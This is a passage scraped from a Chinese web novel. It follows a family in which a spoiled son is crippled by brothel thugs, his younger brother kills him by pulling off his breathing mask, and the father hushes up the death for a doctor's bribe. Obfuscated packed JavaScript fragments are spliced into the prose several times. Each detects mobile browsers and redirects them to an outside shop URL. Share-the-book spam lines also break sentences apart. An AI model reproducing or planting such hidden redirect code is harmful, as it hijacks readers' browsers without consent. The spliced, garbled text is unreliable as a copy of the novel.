d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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空气中混杂着胭脂水粉味和呛人的烟酒气,熏得人头昏脑涨。 上好的包厢里,江守成左拥右抱,他感觉自己像是坐上了云端,整个人都轻飘飘的。 “成哥,您真是咱们湘平城的第一号人物!京城来的,就是不一样,这气派!一个瘦得像猴精的小弟,举着酒杯,满脸谄媚。 另一个满脸麻子的家伙立刻接上话茬,声音拔得老高,“那是!咱们成哥是谁?那是见过大世面的!这**算个屁?在京城,比这好的地方,成哥都去腻了! 江守成听着这些吹捧,舒坦得骨头都酥了。 没错! 这才是他该过的日子! 在京城,他虽说过的也不错,但是总是少了一些放纵。 可在这里,在这天高皇帝远的湘平,他就是王! 他捏了一把怀里女人的脸蛋,又从兜里掏出几张钱,豪气地拍在桌上。 “喝!都给老子放开了喝!酒没了就叫!钱,管够! 他享受着小弟们崇拜的目光和女人们娇媚的奉承,这种感觉,比抽**还上头。 **的管家是个四十来岁的中年男人,姓方,人称方哥。 见江守成出手阔绰,他脸上的笑容也愈发真诚,亲自端着一盘上好的酱牛肉进来。 “成公子,您慢用。有什么需要,尽管吩咐。 方哥点头哈腰的样子,让江守成的虚荣心得到了极大的满足。 时间一分一秒过去,墙上的挂钟,时针慢悠悠地指向了十一点。 陪酒的小妹们脸上都露出了倦意,其中一个年纪稍长的,小心翼翼地开了口。 “成哥……你看,这时间不早了,我们姐妹也该……回去了。 江守成正喝在兴头上,闻言,脸瞬间就沉了下来。 他一把攥住那女人的手腕,力气大得像是铁钳。 “回去?谁让你们回去了?老子还没玩够呢! 女人疼得龇牙咧嘴,却不敢叫出声。 这时,方哥笑眯眯地推门进来,手里拿着个算盘。 “成公子,玩得尽兴吧?姑娘们也到点该下班了,您看……是不是先把今晚的账给结了? 江守成斜眼瞥了他一下。 “结账?着什么急?老子说了,今晚的消费我全包,你还怕我跑了不成? 他不仅不掏钱,反而把桌上的酒杯一推,一副无赖的嘴脸,“酒也没了,再给老子上两瓶好的! 方哥脸 听说看这本书的人都是很幸运的,分享后你的运气会更棒 上的笑容一点点僵硬然后消失了。 他在这地界混了十几年什么样的人没见过?眼前这个半大小子分明是想吃霸王餐! “成公子咱们**是小本生意有小本生意的规矩。”方哥的声音冷了下来“您今天点的酒水加上几位姑娘的台费一共是三十八块六**。您是现结还是我派人跟您回去取?” 三十八块! 江守成心头一跳。 他兜里剩下的钱加起来也不到二十块了。 可面子上他哪能认怂? “规矩?在这湘平老子就是规矩!”江守成猛地站起身 他话音未落一拳就朝着方哥的脸上挥了过去! 方哥没躲硬生生挨了这一拳。 他只是用手背擦了擦流血的嘴角眼神阴鸷。 “好很好。” 他拍了拍手。 “砰!” 包厢的门被人一脚踹开七八个手持木棍的彪形大汉瞬间就把小小的空间塞得满满当当。 江守成那三个小弟酒当场就醒了一半吓得腿肚子直哆嗦缩在墙角不敢动弹。 江守成也懵了酒气上涌的脑子终于感到了凉意。 “你……你们想干什么?我外公是……” “我管你外公是天王老子!”方哥啐了一口带血的唾沫眼神狠戾“在这儿你得先学会怎么做人!” 他一挥手。 “给老子打!留一口气就行!” …… 夜越来越深。 苏红霞坐在冰冷的板凳上屋里那盏昏黄的煤油灯灯芯噼啪作响火苗一跳一跳就像她的心。 守成怎么还没回来? 她不停地朝门外张望巷子里除了几声犬吠没有其他声响。 这个该死的湘平处处透着一股子邪性哪有京城安稳?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778534|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她越想越气越想越怕心里七上八下。 那孩子从小就没离开过她身边可别是出了什么事…… 这个念头一出来就再也压不下去了。 她看了一眼里屋早已鼾声如雷的江东山心里的怨毒几乎要溢出来。 废物!真是个废物! 家里出了这么大的事他倒好睡得跟死猪一样! 指望他黄花菜都凉了! 这一夜苏红霞彻夜未眠。 第二天日上三竿。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 江东山那间破败的黑诊所里,稀稀拉拉坐着几个看病的街坊。 他正低着头,给一个咳嗽的老大爷写方子,整个人还带着宿醉的疲惫。 突然,门口的光线暗了下来。 一股肃杀之气,让整个诊所的温度都降了好几度。 江东山抬起头,瞳孔骤然一缩。 只见门口乌泱泱地堵了十几号人,一个个凶神恶煞,眼神不善。 为首的那个,脸上有一道从眉角拉到嘴角的刀疤,像一条狰狞的蜈蚣,手里正把玩着一柄寒光闪闪的**。 诊所里那几个病人,哪见过这阵仗?魂都快吓飞了,一个个连滚带爬地溜了。 “哎……我的药……” “算了算了,命要紧!” 转眼间,屋里就只剩下江东山一人。 他双腿发软,手心里全是冷汗,却还是强撑着站了起来,脸上挤出一个比哭还难看的笑容。 “各位……各位大哥,这是有什么误会?上个月的茶水钱,我已经交给彪哥了啊……” 他以为是收保护费的换了人。 然而,那刀疤脸根本没理会他的话。 他一步步走进来,皮鞋踩在地上,发出声响,每一下,都像是踩在江东山的心脏上。 他停在江东山面前,用**的刀尖,轻轻挑了挑江东山胸前的口袋。 冰冷的触感,让江东山浑身的血液都快要凝固了。 刀疤脸凑近了,一股浓重的烟草味扑面而来,他沙哑着声音,开口询问。 “你,就是江东山?” 第198章 这辈子,就在床上过吧 江东山的大脑一片空白,只剩下本能的恐惧。 他喉咙发干,拼命点头。 “是,是……我就是……大哥,到底……到底是怎么回事? 刀疤脸冷哼一声,那道疤痕随之扭曲,更显狰狞。 他用**的刀背,不轻不重地拍了拍江东山的脸颊。 “怎么回事?你养的好儿子,昨天晚上,在我们**喝霸王酒,打了我们的人,还砸了场子! “你说,这是怎么回事? 江守成!**! 江东山只觉得眼前一黑,差点栽倒在地。 刀疤脸的眼神里满是不耐,他收回**,环顾了一下这间破败的诊所。 “我们也不想把事情做绝,就问你一句,这儿子,你们还要不要? “要!要!我们当然要! 一声凄厉的尖叫从里屋传来,苏红霞疯了一样冲了出来,她扑到刀疤脸面前。 “大哥,求求你们,千万别伤害我儿子!他还小,不懂事!多少钱,我们赔!我们赔! 刀疤脸瞥了她一眼,似乎对这种场面早已司空见惯。 “赔?他玩味地笑了笑,“行啊。看在你们这么有诚意的份上,下午四点之前,准备好五万块钱,到**赎人。 五……五万块?! 苏红霞和江东山同时倒吸一口凉气。 把他们全家卖了也凑不齐! “晚一分钟, 说完,他一挥手,带着那群凶神恶煞的手下,转身扬长而去,留下满屋子的绝望。 苏红霞浑身的力气都被抽干,瘫软在地。 “五万块啊!我们去哪里弄这么多钱啊!我的儿啊!我的守成啊!你可千万不能有事啊! 她的哭声尖锐刺耳,充满了无助。 江东山站在原地,失魂落魄。 他看着撒泼打滚的妻子,一股积压了多年的怨气,终于在此刻爆发了。 都是惯的! 都是他们,把守成惯成了一个无法无天的混世魔王! “现在知道哭了?早干什么去了!江东山的声音沙哑,“要不是你天天把他当祖宗供着,他会变成今天这个样子吗?! 苏红霞的哭声戛然而止。 她猛地抬起头,一双布满血丝的眼睛死死地瞪着江东山。 “江东山!你个王八蛋!你还是不是人?!儿子都要没命了,你还有脸在这里说风凉话? 你的朋友正在书荒,快去帮帮他吧 !我告诉你,守成要是有个三长两短,我跟你拼命! 她嘶吼着,从地上一跃而起,张牙舞爪地朝着江东山扑了过去,指甲狠狠地抓向他的脸! 一声清脆的耳光,响彻了整个屋子。 苏红霞被打得一个趔趄,摔倒在地。 她捂着脸,难以置信地看着江东山。 这个一辈子在她面前唯唯诺诺的男人,竟然……竟然敢动手打她? 江东山的手也在抖,但他没有后悔。 他红着眼,低吼道:“你给我清醒一点!现在不是发疯的时候!想救儿子,就赶紧想办法! 这一巴掌,总算把苏红霞打蒙了。 是啊,得想办法,得想办法救守成! 江东山深吸一口气,强迫自己冷静下来。 他环顾四周,家里值钱的东西早就被抄干净了,他这个黑诊所,一天也挣不了几个钱。 唯一的希望…… “走!去找你妈! …… 陈静和吕有庆住的小院,虽然不大,但收拾得干净利落。 当江东山拉着失魂落魄的苏红霞冲进来时,正在院子里择菜的陈静,脸色瞬间就变了。 她一眼就看到了女儿脸上清晰的五指印。 “江东山!你这个畜生!你敢打我女儿?!陈静扔了手里的菜,抄起一旁的扫帚就朝江东山打去。 “妈!不是他! 她语无伦次地将事情的来龙去脉说了一遍。 陈静听完,手里的扫帚掉在地上。 她的第一反应不是惊慌,而是不信。 “不可能!我们守成最乖了,胆子又小,他怎么可能去那种地方**?一定是他们设的圈套!是他们讹钱,是他们**! 听着岳母这番颠倒黑白的话,江东山只觉得一阵无力。 乖?胆子小? 那个在京城就敢纠集狐朋**欺负同学,到了这里几天就敢夜不归宿的混世魔王,哪里跟这两个词沾边了? 吕有庆走了出来,他皱着眉,显然已经听到了外面的动静。 陈静扑过去抓住吕有庆的胳膊。 “有庆!你可得救救我外孙啊!他被人绑了,要五万块钱赎金啊!你就当……就当可怜可怜我这个老婆子吧! 吕有庆的脸上闪过为难。 五万块,对他来说也不是一笔小数目。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778535|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 更何况,这是苏家的烂摊子,他一 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 个外人,凭什么要管? 可看着陈静老泪纵横、苦苦哀求的样子,他终究还是心软了。 他重重地叹了口气,转身进屋,没过多久,拿出一个沉甸甸的布包。 “只此一次,下不为例。” …… **。 当吕有庆将五万块钱拍在桌子上时,那个叫方哥的管家,脸上才露出了笑容。 很快,江守成被两个大汉拖了出来。 他浑身是伤,脸色惨白如纸,两条腿以一种诡异的角度扭曲着,早已不省人事。 看到儿子这副惨状,苏红霞尖叫一声,当场就晕了过去。 医院里,冰冷的诊断结果,将这个本就摇摇欲坠的家,彻底推入了深渊。 “两条腿的腿骨,都让人用棍子敲碎了。送来得太晚,神经也坏**,就算是神仙来了,也接不上了。” 医生摇了摇头,满眼同情,“这辈子,就在床上过吧。” 当天夜里,苏红霞醒了过来。 只是,一夜之间,她原本乌黑的头发,变得花白。 她不哭也不闹,只是睁着一双空洞的眼睛,呆呆地望着天花板。 她疯了。 而陈静,在得知外孙终身残疾、女儿精神失常的双重打击下,也一病不起,整日躺在床上呻吟。 短短几天,家就塌了。 江东山一个人,拖着疲惫不堪的身体,在破败的诊所和充满绝望气息的家之间来回奔波。 他要照顾床上瘫痪的儿子,要喂疯疯癫癫的妻子吃饭,还要给病入膏肓的岳母煎药。 这天深夜,他坐在床边,看着大小便失禁、昏睡不醒的江守成,又听着里屋苏红霞诡异的笑声,一股前所未有的孤独和无助,将他彻底淹没。 他这一辈子,到底是为了什么? 就在这无边的黑暗中,一张脸,浮现在他的脑海里。 江沐。 他那个被他亲手推开,牺牲掉的大儿子。 一个荒唐的念头,不受控制地从心底最深处冒了出来。 要是……要是江沐在…… 他会不会……有办法? 这个念头一生出来,江东山便狠狠地给了自己一个耳光。 他有什么脸,再去想那个孩子? 第199章 对所有人来说,都是一件好事 家,已经不是家了,是炼狱。 一个瘫在床上,屎尿横流,时不时发出无意识呻吟的儿子。 一个时而痴笑,时而尖叫,眼神空洞,活在自己世界里的妻子。 一个缠绵病榻,日渐衰弱,靠汤药吊着一口气的岳母。 江东山一个人,他根本分身乏术。 煎药的功夫,江守成可能就把秽物弄得满身满床。 给江守成擦洗换好,苏红霞又不知跑到了哪里,嘴里念念有词地捡着地上的石子。 他别无选择。 夜里,他将十岁的小儿子江耀祖叫到床前,指着隔壁床上散发着恶臭的江守成。 “耀祖,从明天起,你……你来照顾你哥。 江耀祖那张还带着稚气的脸,瞬间拧成了一团。 他下意识地后退一步,捏住了鼻子,满眼都是厌恶。 一个礼拜。 仅仅一个礼拜,江耀祖就崩溃了。 他冲到正在熬药的江东山面前,涨红了脸,几乎是吼出来的。 “我不干了!我再也不管他了! 江东山疲惫地抬起头,眼窝深陷,“怎么了? “太恶心了!他每天……每天都拉在床上!那股味儿……我……我受不了!江耀祖的声音里带上了哭腔,眼泪在眼眶里打转,“爹!我不想管他了! 江东山放下手里的蒲扇,拉过小儿子,语气沉重。 “耀祖,你听爹说。现在这个家,能动弹的,能算得上是正常人的,就剩下咱们爷俩了。 他指了指屋里,声音更低了,“你哥,你妈,你外婆……他们都指望着我们。爹一个人撑不住,你……你得帮爹一把,把这个家撑起来。 这番话,换做任何一个懂事的孩子,或许都会被感动。 可江耀祖只是用力地摇着头,眼神里没有同情,只有一种与年龄不符的清醒。 “我本来就不喜欢他!他挣脱了江东山的手,“再说了,我们不是还有一个大哥吗?他那么有本事,让他回来管啊! 大哥……江沐! 江东山脸上的血色瞬间褪尽,嘴唇哆嗦着,半晌才吐出一句完整的话。 “别提他…… 他的声音里充满了无尽的悔恨,“你妈……当初给你大哥发了电报,已经……已经断绝关系了。他……跟我们家没关系了。 江耀祖撇了撇嘴,对这其中的恩怨纠葛毫无兴趣。 他只知道,自己不想再待在这片恶臭的地狱 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 里。 他猛地一转身,头也不回地跑了出去。 江东山伸出手,却什么也没抓住,最后只能无力地垂下。 然而,到了晚上,就在江东山以为这个小儿子也要离他而去时,江耀祖却自己回来了。 他默默地走到江守成的病床边,搬了个小板凳坐下,闷声不吭。 江东山浑浊的眼睛里,陡然亮起一抹光。 他走过去,手掌在小儿子瘦削的肩膀上拍了拍,声音都有些哽咽。 “好孩子……爹就知道,你是个懂事的。” 江耀祖没有回头,只是低低地嗯了一声。 “你在这里看着你哥,”江东山长长地舒了一口气,“我带你外婆和你妈回家去收拾收拾,换身干净衣裳,然后送你外婆去吕爷爷家,医院里太潮了。要是有什么事,你就去找护士,知道吗?” “知道了。” 江耀祖的回答,平静得没有波澜。 得到儿子的承诺,江东山搀扶着陈静和苏红霞,一步步离开了这间令人窒息的病房。 门被关上的那一刻,病房里陷入了寂静。 只剩下江守成喉咙里的喘息声,以及连接在他鼻子上的那台简陋呼吸机发出的、有节奏的声响。 江耀祖坐在板凳上,一动不动。 他的目光,死死地盯着江守成脸上那个透明的面罩。 他想起了哥哥在京城时的飞扬跋扈,想起了他抢走自己所有好东西时的理所当然,想起了爹娘所有的偏爱和宠溺…… 然后,他又想到了这一个礼拜以来,那闻之欲呕的恶臭,那擦不完的污秽,还有父亲那日渐佝偻的背影和绝望的眼神。 他会拖垮我们的。 他会把这个家,彻底拖进泥潭里,让所有人都不得好死! 江耀祖的眼中,闪过不属于他这个年纪的狠戾。 他站起身,一步步走到床前。 他犹豫了很久,很久。 最终,他伸出了微微颤抖的手,捏住了那个呼吸面罩的边缘。 然后,用力一扯! 面罩被拔了下来,扔在地上。 江守成的呼吸瞬间变得急促、艰难,胸膛剧烈地起伏,喉咙里发出怪响。 江耀祖看了一眼,不再停留, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778536|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猛地转身,冲出了病房,消失在医院走廊尽头的黑暗中。 第二天一早。 江东山搀着精神好了些许的苏红霞,回到了医院。 他看到江耀祖一个人孤零零地坐在病房外的长椅上,蜷缩 你的朋友正在书荒,快去帮帮他吧 着身子。 江东山心中一软,走上前去。 “怎么坐在这里?是不是饿了?等着,爹去给你买肉包子。” 说罢,他推开病房的门,准备让苏红霞先进去。 可一进门,他就愣住了。 江守成脸上的呼吸机……掉了? 他一个箭步冲了过去,将手指探到江守成的鼻下。 没有呼吸。 他又慌忙去摸颈动脉。 没有搏动。 尸体,已经凉了。 江东山的大脑一片空白。 他猛地回过头,一双布满血丝的眼睛,死死地锁在门口的江耀祖身上。 他的声音,是从牙缝里挤出来的。 “是不是你干的?” 江耀祖的身体剧烈地一颤,他走进病房,直挺挺地跪在了江东山面前。 他没有哭,也没有辩解,只是抬起头,迎着父亲那要**般的目光,一字一句,清晰无比。 “爹,他活着,会拖垮我们这个家!我们所有人都得被他拖死!” 这句话,精准地刺入了江东山心中最黑暗、最不敢承认的那个角落。 是啊……拖垮…… 江东山浑身的力气都被抽干了,他踉跄着后退两步,靠在了墙上。 许久,他闭上眼,再睁开时,眼中只剩下平静。 “起来吧。” 他看着跪在地上的小儿子,声音沙哑得可怕。 “从今天起,把这件事,烂在你的肚子里。谁也不能说,听到了吗?就当它从来没发生过。” 江耀祖重重地点了点头。 “现在,去告诉你外婆,”江东山指了指门外,“就说你哥……伤得太重,没救回来。” 等到江耀祖的身影消失在门口,江东山才缓缓转过身。 他看着床上那具冰冷的尸体,又看了看旁边兀自痴笑着,对一切都毫无所觉的苏红霞。 一阵荒谬绝伦的轻松感,竟不可抑制地从心底升起。 或许…… 这样,对所有人来说,都是一件好事。 第200章 医院的声誉,比什么都重要 江东山僵硬地转过身深吸了一口满是消毒水味的空气强行压下胸腔里翻腾的惊涛骇浪。 他整理了一下衣襟脸上那属于父亲的悲恸被一层冰冷的决断所覆盖。 他大步流星地走向医生办公室。 值班医生正打着哈欠见到江东山那张阴沉得能拧出水的脸瞬间一个激灵睡意全无。 “怎么了?这么早?” 江东山没有废话冷声道“我儿子……没了。你去看看。” 医生立刻跟着江东山快步回到病房。 当他看到掉落在地上的呼吸面罩和床上那具已经出现淡淡尸斑的躯体时一张脸瞬间没了血色。 “这……这怎么回事?!”他惊叫起来下意识地后退半步“这呼吸机……怎么会掉下来?!” 他的第一反应不是惋惜生命而是推卸责任。 这台机器是他负责调试的出了人命他脱不了干系! 江东山冷冷地瞥了他一眼那眼神里的寒意让医生从头凉到脚。 “机器为什么会掉下来我应该问你。” “我……我不知道啊!”医生急得满头大汗语无伦次“肯定是……是机器老化了!对!一定是故障!这……这是一场意外是医疗事故!” 他想把锅甩给设备这样他的责任就能降到最低。 江东山看着他这副丑态心中毫无波澜。 他不想把事情闹大任何调查都可能牵扯出耀祖。 现在这个医生的惊慌失措反倒成了他最好的保护伞。 他沉默了许久久到医生几乎要崩溃。 “医院的声誉比什么都重要。”江东山终于缓缓开口。 医生猛地抬起头从这句话里听出了一线生机。 他明白了江东山不打算追究或者说不打算公开追究。 “是是是!您说得对!”他点头凑上前去压低了声音带着几分哀求 江东山眼皮都没抬一下“守成这孩子命苦。他妈也疯了家里实在……揭不开锅了。” 话已至此医生彻底懂了。 这是要**。 他咬了咬牙像是下了巨大的决心伸出两根手指声音都在发颤“我……我私人给您两千块钱!就当是……是给孩子的一点心意您看成吗?” 江东山的心脏猛地一抽。 用儿子的死换来两千块钱。 何其荒唐又何 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 其现实。 他闭上眼再睁开时只剩下麻木。 “去办死亡证明吧。死因就写重度颅内出血抢救无效。” 江耀祖来到了吕有庆家里找到了陈静。 他站定在两人面前那张稚嫩的脸上没有半分悲喜。 “外婆。” “哎耀祖来了。”陈静见到他脸上挤出笑意。 “哥……**。” 简简单单的三个字陈静脸上的笑容瞬间凝固那双浑浊的眼睛倏地睁大接着两眼一翻 “哎!静静!” 吕有庆眼疾手快一把将她扶住随即掐着她的人中用力按压。 片刻后陈静悠悠转醒她一把抓住江耀祖的胳膊指甲几乎要嵌进肉里“你说什么?!你再说一遍!你哥怎么了?!” “**。”江耀祖重复了一遍声音依旧平淡得像在说别人家的事“爹让你赶紧去医院。” “**的?!到底是怎么回事啊?!”陈静声嘶力竭。 吕有庆连忙搂住她不断发抖的肩膀柔声安抚着“静静你别急别急坏了身子。咱们先去医院问问东山不就清楚了?天大的事有我呢。” 陈静靠在吕有庆怀里老泪纵横“有庆啊……没有你我可怎么活呀……” 三人匆匆赶到医院病房。 一进门陈静就扑了过去对着背身而立的江东山哭喊“东山!我的守成呢!到底是怎么回事啊?!” 江东山缓缓转过身双眼通红他扶住陈静声音沙哑地编织着早已准备好的谎言。 “妈您别太伤心。守成他……伤得太重突发脑出血没救回来……” 他轻轻拍着陈静的后背“您要照顾好自己可千万不能再倒下了。” 听到这番话陈静的哭声竟诡异地小了下去。 她抬起泪眼看着女婿那眼神里除了悲伤竟还有不易察觉的……欣慰。 江东山转向一旁的吕有庆脸上带着恳切“有庆叔还要麻烦你多照顾我妈。” 吕有庆立刻拍着胸脯一脸真挚“看你说的咱们都是一家人客气什么!” 他嘴上应着心里却乐开了花。 太好了! 那个瘫在床上的累赘终于**! 他早就怕陈静哪天想不开把外孙接到家里让他伺候那他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778537|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好日子可就到头了! 很快死亡证明和各项手续都办妥了。 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 吕有庆殷勤地联系了殡仪馆,一辆白色的面包车停在了住院部门口。 就在两个穿着白大褂的工人抬着蒙上白布的担架出来时,一直痴痴傻傻坐在角落里的苏红霞,猛地站了起来。 她疯了似的冲了过去,一把抱住那具僵硬的尸体,发出撕心裂肺的哭嚎。 “守成!我的儿啊——你们别带他走!别带走我的儿子!” 这一刻,她眼神清明,逻辑清晰,哪还有半点疯癫的模样。 江东山死死地将她从后面抱住,任由她在怀里挣扎哭喊。 尸体被抬上了车,火化,入殓,最后安葬在城郊的公墓。 一场不大不小的风波,就此尘埃落定。 江守成死后,苏红霞好像真的病好了。 她不再疯言疯语,也不再乱跑,只是整个人沉默得可怕,也再没提过江守成三个字。 可每到深夜,江东山总能听到身边传来压抑的、细碎的呜咽声。 这天夜里,他点亮了床头的煤油灯,看着在被子里瑟瑟发抖的妻子,决定摊牌。 “红霞,”他轻声唤着,“别憋在心里了。” 苏红霞的哭声戛然而止。 “东山,我没疯。” 她的声音平静。 “那天,耀祖拔掉呼吸机,我听到了,我什么都知道。” 江东山的心脏骤然停跳。 “我不怪他。”苏红霞的眼泪顺着眼角滑落,渗入枕巾,“守成会变成这样,都怪我。是我从小太惯着他,把他惯成了一个无法无天的混账!这是对我的惩罚,是因为我当初对江沐不好。” 江东山长长地叹了一口气,伸手将妻子揽入怀中。 “这事……我也有责任。我不是一个称职的父亲。” 他的声音里充满了疲惫, “都过去了。”苏红霞在他怀里摇了摇头,“好在,我们还有耀祖。” 是啊,他们还有耀祖。 不知过了多久,苏红霞均匀的呼吸声传来,她睡着了。 江东山悄悄起身,走到窗边,摸出一根烟,用火柴点燃。 猩红的火点在黑暗中明灭,烟雾缭绕了他那张沟壑纵横的脸。 第201章 咱们的孩子,肯定也这么好看 窗外的寒风卷着枯叶,发出呜呜的声响。 江东山捻灭了烟头,那一点猩红在黑暗中彻底熄灭,正如他心中最后一点温情。 他听着苏红霞在身旁安稳的呼吸声,心中却是一片荒芜。 怪她吗? 他有什么资格去怪她。 苏红霞偏爱亲生,那他呢?他这个做父亲的,又何曾真正关心过江沐那个远在陕省的儿子? 他有没有吃饱?有没有穿暖?在那土地上,会不会生病? 他一概不知。 他只是麻木地、懦弱地,用一点点偷偷攒下的钱和票,来填补自己那可笑的父爱和巨大的愧疚。 在牺牲江沐这件事上,他和苏红霞,不过是五十步笑百步。 …… 消息是捂不住的。 一传十,十传百。 江守成没了的消息,很快就通过各种拐弯抹角的关系,传到了江卫国的耳朵里。 江卫国立马找到了江援朝,江援朝又辗转联系了孙文杰。 一封加急的信件,最终递到了孙文杰手上。 孙文杰拿着信,找到了正在药田里翻晒草药的江沐。 秋日的阳光暖洋洋的,带着草木的清香,江沐正专注地将一株株晒干的柴胡根分类捆扎,动作娴熟。 “江沐。孙文杰的声音有些干涩,“援朝……来了信。 江沐手上的动作没停,眼皮都没撩一下,“什么事? 孙文杰犹豫了一下,还是将信的内容说了出来,“你弟弟,江守成……没了。 空气仿佛凝固了一瞬。 只有几片枯叶被风卷起,打着旋儿落在江沐的脚边。 他终于停下了手里的活,抬起头,那双眸子里,没有半分波澜。 “知道了。 就这么三个字,再无其他。 孙文杰愣住了,“你……就这反应? 江沐拿起一捆扎好的柴胡,拍了拍上面的浮土,语气淡漠得像在说一个毫不相干的陌生人。 “那封断绝关系的电报发出去的时候,江家的一切,就都和我没关系了。 转眼,就到了十月。 风一天比一天凉,空气里弥漫着丰收在即的喜悦和焦灼。 秋收前的最后几天,按照惯例,队长李有柱组织了一帮壮劳力,扛着**猎叉,轰轰烈烈地进山,想打头野猪给大伙儿双抢前开开荤,壮壮力气。 可惜,一帮人钻了大半天林子,连根猪毛都没看着。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 “**!”李有柱一屁股坐在田埂上,把旱烟袋子敲得邦邦响,“这帮畜生倒会躲!” 眼看壮劳力们脸上都挂着失望,李有柱把烟杆往腰上一插,霍然起身。 “没野的,咱就吃家的!走,回村!把队里那两头最肥的猪给宰了!不能让大伙儿饿着肚子上阵,没力**收!” 一声令下,整个二大队都沸腾了。 今年的双抢,江沐依旧负责运输。 家里的事,他则全权交给了张小月。 只是,张小月如今的肚子已经像是吹了气的皮球,眼看着离生产也就两个月左右的光景了。 江沐是三令五申,不许她再操心药材的事。 “都快当妈的人了,还这么不省心。”江沐把她按在炕上坐好,抢过她手里正准备分拣的药草,“这些活我回来干,你只管好好歇着,养足精神。” 张小月看着丈夫被晒得黝黑却更显坚毅的脸庞,心里甜得像是灌了蜜,乖巧地点了点头。 十月末的一个深夜,万籁俱寂。 一阵急促的敲门声,猛地惊醒了沉睡中的江沐。 他一骨碌爬起来,披上衣服就去开门。 门外,高建设那张憨厚的脸涨得通红,满头大汗,喘着粗气,话都说不利索了。 “江……江大夫!快!快去看看吧!我……我媳妇她……她要生了!” 江沐心里一凛,面上却依旧镇定,反手就从墙上取下自己的医药箱。 “别慌!”他沉声安抚着已经六神无主的高建设,“孙三娘肯定已经过去了,她经验足得很。你先带路,我马上就到!” 高建设像是找到了主心骨,连连点头,转身就往自家院子跑。 等江沐赶到时,高建设家里已经灯火通明。 产房里传来女人压抑的痛呼声,孙三娘有条不紊的指挥声夹杂其中。 高建设则像个没头苍蝇,在院子里一圈一圈地转,嘴里不停念叨着。 江沐没进去,只在门口听了听动静,又隔着门问了几个关键问题。 孙三娘中气十足地回了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778538|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句,听起来情况一切顺利。 他便靠在院里的老槐树下,陪着高建设一起等。 不知过了多久,一声响亮清脆的婴儿啼哭,如同天籁,划破了沉寂的夜空! “生了!生了!”高建设一个箭步就要往屋里冲,被孙三娘的徒弟拦了下来。 “是个大胖小子!母子平安!” 高建设激动得眼泪鼻涕一把抓,对着产房 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 的门就跪下了。 江沐见没自己什么事了,便悄悄地转身回了家。 他刚推开门,里屋的灯就亮了。 张小月披着衣服,正扶着肚子担忧地望着他。 “怎么样了?” 江沐脸上露出笑意,脱下外套挂好。 “生了,母子平安,是个大胖小子。” 第二天一早,江沐便提着一篮子鸡蛋,又拿了几尺早就备好的布料,带着张小月一起去了高建设家。 屋里,高建设的媳妇正靠在炕头,一脸幸福地看着襁褓里的婴儿。 孩子睡得正香,小嘴巴一张一合,可爱得紧。 